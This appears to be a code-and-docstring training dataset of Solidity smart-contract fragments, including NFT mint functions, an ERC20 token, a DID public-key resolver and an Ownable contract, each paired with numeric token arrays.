mintToAdmin(address _to) public onlyOwner { require(getNextTokenId() <= collectionSize, "Cannot mint over supply cap of 1000"); _safeMint(_to, 1); } function mintManyAdmin(address[] memory _addresses, uint256 _addressCount) public onlyOwner { for(uint i=0; i < _addressCount; i++ ) { mintToAdmin(_addresses[i]); } } /////////////// GENERIC MINT FUNCTIONS /** * @dev Mints a single token to an address. * fee may or may not be required* * @param _to address of the future owner of the token */ function mintTo(address _to) public payable { require(getNextTokenId() <= collectionSize, "Cannot mint over supply cap of 1000"); require(mintingOpen == true, "Minting is not open right now!"); require(msg.value == PRICE, "Value needs to be exactly the mint fee!"); _safeMint(_to, 1); } /** * @dev Mints a token to an address with a tokenURI. * fee may or may not be required* * @param _to address of the future owner of the token * @param _amount number of tokens to mint */ function mintToMultiple(address _to, uint256 _amount) public payable { require(_amount >= 1, "Must mint at least 1 token"); require(_amount <= maxBatchSize, "Cannot mint more than max mint per transaction"); require(mintingOpen == true, "Minting is not open right now!"); require(currentTokenId() + _amount <= collectionSize, "Cannot mint over supply cap of 1000"); require(msg.value == getPrice(_amount), "Value below required mint fee for amount"); _safeMint(_to, _amount); } function openMinting() public onlyOwner { mintingOpen = true; } function stopMinting() public onlyOwner { mintingOpen = false; } /** * @dev Allows owner to set Max mints per tx * @param _newMaxMint maximum amount of tokens allowed to mint per tx. Must be >= 1 */ function setMaxMint(uint256 _newMaxMint) public onlyOwner { require(_newMaxMint >= 1, "Max mint must be at least 1"); maxBatchSize = _newMaxMint; } function setPrice(uint256 _feeInWei) public onlyOwner { PRICE = _feeInWei; } function getPrice(uint256 _count) private view returns (uint256) { return PRICE.mul(_count); } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function baseTokenURI() public view returns (string memory) { return _baseTokenURI; } function setBaseURI(string calldata baseURI) external onlyOwner { _baseTokenURI = baseURI; } function getOwnershipData(uint256 tokenId) external view returns (TokenOwnership memory) { return ownershipOf(tokenId); } } // File: contracts/PoofCollectiveContract.sol //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract PoofCollectiveContract is RamppERC721A { constructor() RamppERC721A("Poof Collective", "PC"){} function contractURI() public pure returns (string memory) { return "https://us-central1-nft-rampp.cloudfunctions.net/app/pIJZ2krREa2ZbhhTPl8u/contract-metadata"; } }
* @dev Mints a token to an address with a tokenURI. fee may or may not be required @param _to address of the future owner of the token @param _amount number of tokens to mint/
function mintToMultiple(address _to, uint256 _amount) public payable { require(_amount >= 1, "Must mint at least 1 token"); require(_amount <= maxBatchSize, "Cannot mint more than max mint per transaction"); require(mintingOpen == true, "Minting is not open right now!"); require(currentTokenId() + _amount <= collectionSize, "Cannot mint over supply cap of 1000"); require(msg.value == getPrice(_amount), "Value below required mint fee for amount"); _safeMint(_to, _amount); }
7,672,580
[ 1, 49, 28142, 279, 1147, 358, 392, 1758, 598, 279, 1147, 3098, 18, 14036, 2026, 578, 2026, 486, 506, 1931, 225, 389, 869, 1758, 434, 326, 3563, 3410, 434, 326, 1147, 225, 389, 8949, 1300, 434, 2430, 358, 312, 474, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 774, 8438, 12, 2867, 389, 869, 16, 2254, 5034, 389, 8949, 13, 1071, 8843, 429, 288, 203, 3639, 2583, 24899, 8949, 1545, 404, 16, 315, 10136, 312, 474, 622, 4520, 404, 1147, 8863, 203, 3639, 2583, 24899, 8949, 1648, 943, 23304, 16, 315, 4515, 312, 474, 1898, 2353, 943, 312, 474, 1534, 2492, 8863, 203, 3639, 2583, 12, 81, 474, 310, 3678, 422, 638, 16, 315, 49, 474, 310, 353, 486, 1696, 2145, 2037, 4442, 1769, 203, 540, 203, 3639, 2583, 12, 2972, 1345, 548, 1435, 397, 389, 8949, 1648, 1849, 1225, 16, 315, 4515, 312, 474, 1879, 14467, 3523, 434, 4336, 8863, 203, 3639, 2583, 12, 3576, 18, 1132, 422, 25930, 24899, 8949, 3631, 315, 620, 5712, 1931, 312, 474, 14036, 364, 3844, 8863, 203, 203, 3639, 389, 4626, 49, 474, 24899, 869, 16, 389, 8949, 1769, 203, 540, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/10200/0xD657E9b7bee687eC82874e4785aCdDd5fD933e19/sources/contracts/Gitsec.sol
Repository data struct - `id` repo and NFT ID - `name` repo name - `description` repo description, can be null - `owner` repo and NFT owner - `IPFS` repo IPFS hash - `lastUpdate` repo last IPFS hash update - `forkedFrom` url from where repo was forked. If created using `createRepository` - always null/
struct Repository { uint256 id; string name; string description; address owner; string IPFS; uint256 lastUpdate; string forkedFrom; } constructor(string memory name, string memory symbol) ERC721A(name, symbol)
3,784,706
[ 1, 3305, 501, 1958, 300, 1375, 350, 68, 6647, 3538, 471, 423, 4464, 1599, 300, 1375, 529, 68, 540, 3538, 508, 300, 1375, 3384, 68, 225, 3538, 2477, 16, 848, 506, 446, 300, 1375, 8443, 68, 3639, 3538, 471, 423, 4464, 3410, 300, 1375, 2579, 4931, 68, 540, 3538, 2971, 4931, 1651, 300, 1375, 2722, 1891, 68, 282, 3538, 1142, 2971, 4931, 1651, 1089, 300, 1375, 23335, 329, 1265, 68, 282, 880, 628, 1625, 3538, 1703, 12515, 329, 18, 971, 2522, 1450, 1375, 2640, 3305, 68, 300, 3712, 446, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 6281, 288, 203, 3639, 2254, 5034, 612, 31, 203, 3639, 533, 508, 31, 203, 3639, 533, 2477, 31, 203, 3639, 1758, 3410, 31, 203, 3639, 533, 2971, 4931, 31, 203, 3639, 2254, 5034, 1142, 1891, 31, 203, 3639, 533, 12515, 329, 1265, 31, 203, 565, 289, 203, 203, 203, 203, 203, 203, 203, 203, 565, 3885, 12, 1080, 3778, 508, 16, 533, 3778, 3273, 13, 203, 565, 4232, 39, 27, 5340, 37, 12, 529, 16, 3273, 13, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0x9791818BB75286420962dB728511e7Fa93d77e1E/sources/browser/GoldenSpaceMain.sol
address(this).transfer(0.03 ether);
function transferToPool2Upline(address payable _ad) public{ require(msg.sender == ownerWallet, "You are not authorized"); require(_ad != address(0x0), "Invalid Address"); _ad.transfer(0.09 ether); delete pool2[msg.sender]; }
8,111,409
[ 1, 2867, 12, 2211, 2934, 13866, 12, 20, 18, 4630, 225, 2437, 1769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 774, 2864, 22, 57, 412, 558, 12, 2867, 8843, 429, 389, 361, 13, 1071, 95, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 3410, 16936, 16, 315, 6225, 854, 486, 10799, 8863, 203, 3639, 2583, 24899, 361, 480, 1758, 12, 20, 92, 20, 3631, 315, 1941, 5267, 8863, 203, 203, 3639, 389, 361, 18, 13866, 12, 20, 18, 5908, 225, 2437, 1769, 203, 203, 3639, 1430, 2845, 22, 63, 3576, 18, 15330, 15533, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract TimeChainToken is SafeMath{ string public name ; string public symbol ; uint8 public decimals = 8; uint256 public totalSupply ; address public owner; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => uint256) public freezeOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ function TimeChainToken( uint256 initialSupply, string tokenName, string tokenSymbol, address holder) public{ totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply balanceOf[holder] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes owner = holder; } /* Send coins */ function transfer(address _to, uint256 _value) public{ require(_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require(_value > 0); require(balanceOf[msg.sender] >= _value); // Check if the sender has enough require(balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) public returns (bool success) { require(_value > 0); allowance[msg.sender][_spender] = _value; return true; } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require(_value > 0); require(balanceOf[_from] >= _value); // Check if the sender has enough require(balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } }
Allow another contract to spend some tokens in your behalf */
function approve(address _spender, uint256 _value) public returns (bool success) { require(_value > 0); allowance[msg.sender][_spender] = _value; return true; }
484,473
[ 1, 7009, 4042, 6835, 358, 17571, 2690, 2430, 316, 3433, 12433, 6186, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 6617, 537, 12, 2867, 389, 87, 1302, 264, 16, 2254, 5034, 389, 1132, 13, 1071, 203, 3639, 1135, 261, 6430, 2216, 13, 288, 203, 3639, 2583, 24899, 1132, 405, 374, 1769, 7010, 3639, 1699, 1359, 63, 3576, 18, 15330, 6362, 67, 87, 1302, 264, 65, 273, 389, 1132, 31, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; import "../ResolverBase.sol"; contract AlaDIDPubkeyResolver is ResolverBase { bytes4 constant private TEXT_INTERFACE_ID = 0x59d1d43c; // The status of a keyID. A deleted keyID is permanently deleted enum Status {NonExistent, Valid, RevokedBySubject, DeletedBySubject} // NonExistent == 0 struct DIDPublicKeyValue { Status status; // Deleted keys shouldnt be used, not even to check previous signatures. uint startDate; uint endDate; string keyValue; } event AlaDIDPubkeyAdded(bytes32 indexed node, string indexed indexedKey, string keyID); event AlaDIDPubkeyRevoked(bytes32 indexed node, string indexed indexedKey, string keyID); event AlaDIDPubkeyDeleted(bytes32 indexed node, string indexed indexedKey, string keyID); // node -> KeyID -> array of DIDPublicKeyValue structures (to keep the history of the keys with same KeyID) mapping(bytes32=>mapping(string=>DIDPublicKeyValue[])) AlaDIDPubkeys; /** * Adds a public key associated with an ENS node and keyID. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param keyID The keyID to set. * @param keyValue The key value to set. Should be in JSON Web Key format (JWK) */ function addPublicKey(bytes32 node, string calldata keyID, string calldata keyValue) external authorised(node) { // If there is already a key for this node and keyID, set the end date and mark it as revoked uint numKeys = AlaDIDPubkeys[node][keyID].length; if (numKeys > 0) { AlaDIDPubkeys[node][keyID][numKeys-1].endDate = now; AlaDIDPubkeys[node][keyID][numKeys-1].status = Status.RevokedBySubject; } // Add a new DIDPublicKeyValue element to the array of keys identified by keyID for this node AlaDIDPubkeys[node][keyID].push( DIDPublicKeyValue( Status.Valid, now, 0, keyValue ) ); emit AlaDIDPubkeyAdded(node, keyID, keyID); } /** * Returns the public key data associated with an ENS node and keyID. The latest key (if there are more than one) is returned. * @param node The ENS node to query. * @param keyID The id of the key to query. * @return The associated public key value. */ function publicKey(bytes32 node, string calldata keyID) external view returns (Status status, uint startDate, uint endDate, string memory keyValue, uint keyIndex) { // Return nil values if there are no keys (we do not want to throw and error) uint numKeys = AlaDIDPubkeys[node][keyID].length; if (numKeys == 0) { return (Status.NonExistent, 0, 0, "", 0); } DIDPublicKeyValue storage pubKey = AlaDIDPubkeys[node][keyID][numKeys-1]; return (pubKey.status, pubKey.startDate, pubKey.endDate, pubKey.keyValue, numKeys-1); } /** * Returns the public key data associated with an ENS node and keyID, for the given index. * @param node The ENS node to query. * @param keyID The id of the key to query. * @param index The index in the array of keys for the given keyID. * @return The associated key value. */ function publicKeyAtIndex(bytes32 node, string calldata keyID, uint index) external view returns (Status status, uint startDate, uint endDate, string memory keyValue) { // Get the size of the array holding the DIDPublicKeyValue structures uint numKeys = AlaDIDPubkeys[node][keyID].length; // Return nil values if there are no keys or index is out of bounds (we do not want to throw and error) if (numKeys == 0 || index >= numKeys) { return (Status.NonExistent, 0, 0, ""); } // Return the public key data for the specified index DIDPublicKeyValue storage pubKey = AlaDIDPubkeys[node][keyID][index]; return (pubKey.status, pubKey.startDate, pubKey.endDate, pubKey.keyValue); } /** * Revokes a public key associated with an ENS node, keyID and index. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param keyID The keyID to set. * @param index The index in the array of keys for the given keyID. * @return The associated key value. */ function revokePublicKey(bytes32 node, string calldata keyID, uint index) external authorised(node) { // Get the size of the array holding the DIDPublicKeyValue structures uint numKeys = AlaDIDPubkeys[node][keyID].length; // Return if there are no keys or index is out of bounds (we do not want to throw and error) if (numKeys == 0 || index >= numKeys) { return; } // Do nothing if the public key was deleted in the past if (AlaDIDPubkeys[node][keyID][index].status == Status.DeletedBySubject) { return; } // Set the end date and mark it as revoked AlaDIDPubkeys[node][keyID][index].endDate = now; AlaDIDPubkeys[node][keyID][index].status = Status.RevokedBySubject; emit AlaDIDPubkeyRevoked(node, keyID, keyID); } /** * Deletes a public key associated with an ENS node, keyID and index. * May only be called by the owner of that node in the ENS registry. * @param node The node to update. * @param keyID The keyID to set. * @param index The index in the array of keys for the given keyID. * @return The associated key value. */ function deletePublicKey(bytes32 node, string calldata keyID, uint index) external authorised(node) { // Get the size of the array holding the DIDPublicKeyValue structures uint numKeys = AlaDIDPubkeys[node][keyID].length; // Return if there are no keys or index is out of bounds (we do not want to throw and error) if (numKeys == 0 || index >= numKeys) { return; } // Set the end date and mark it as revoked AlaDIDPubkeys[node][keyID][index].endDate = now; AlaDIDPubkeys[node][keyID][index].status = Status.DeletedBySubject; emit AlaDIDPubkeyDeleted(node, keyID, keyID); } function supportsInterface(bytes4 interfaceID) public pure returns(bool) { return interfaceID == TEXT_INTERFACE_ID || super.supportsInterface(interfaceID); } }
* Returns the public key data associated with an ENS node and keyID. The latest key (if there are more than one) is returned. @param node The ENS node to query. @param keyID The id of the key to query. @return The associated public key value./ Return nil values if there are no keys (we do not want to throw and error)
function publicKey(bytes32 node, string calldata keyID) external view returns (Status status, uint startDate, uint endDate, string memory keyValue, uint keyIndex) { uint numKeys = AlaDIDPubkeys[node][keyID].length; if (numKeys == 0) { return (Status.NonExistent, 0, 0, "", 0); } DIDPublicKeyValue storage pubKey = AlaDIDPubkeys[node][keyID][numKeys-1]; return (pubKey.status, pubKey.startDate, pubKey.endDate, pubKey.keyValue, numKeys-1); }
13,106,713
[ 1, 1356, 326, 1071, 498, 501, 3627, 598, 392, 512, 3156, 756, 471, 31761, 18, 1021, 4891, 498, 261, 430, 1915, 854, 1898, 2353, 1245, 13, 353, 2106, 18, 225, 756, 1021, 512, 3156, 756, 358, 843, 18, 225, 31761, 1021, 612, 434, 326, 498, 358, 843, 18, 327, 1021, 3627, 1071, 498, 460, 18, 19, 2000, 515, 924, 309, 1915, 854, 1158, 1311, 261, 1814, 741, 486, 2545, 358, 604, 471, 555, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 12085, 12, 3890, 1578, 756, 16, 533, 745, 892, 31761, 13, 3903, 1476, 203, 5411, 1135, 261, 1482, 1267, 16, 2254, 12572, 16, 2254, 13202, 16, 533, 3778, 15082, 16, 2254, 498, 1016, 13, 288, 203, 203, 3639, 2254, 818, 2396, 273, 2262, 69, 40, 734, 9581, 2452, 63, 2159, 6362, 856, 734, 8009, 2469, 31, 203, 3639, 309, 261, 2107, 2396, 422, 374, 13, 288, 203, 5411, 327, 261, 1482, 18, 3989, 4786, 319, 16, 374, 16, 374, 16, 23453, 374, 1769, 203, 3639, 289, 203, 203, 3639, 463, 734, 9632, 620, 2502, 18659, 273, 2262, 69, 40, 734, 9581, 2452, 63, 2159, 6362, 856, 734, 6362, 2107, 2396, 17, 21, 15533, 203, 203, 3639, 327, 261, 10174, 653, 18, 2327, 16, 18659, 18, 1937, 1626, 16, 18659, 18, 409, 1626, 16, 18659, 18, 856, 620, 16, 818, 2396, 17, 21, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// File: contracts/assets/TokenBankInterface.sol pragma solidity >=0.4.21 <0.6.0; contract TokenBankInterface{ function issue(address token_addr, address payable _to, uint _amount) public returns (bool success); } // File: contracts/utils/Ownable.sol pragma solidity >=0.4.21 <0.6.0; contract Ownable { address private _contract_owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = msg.sender; _contract_owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _contract_owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_contract_owner == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * 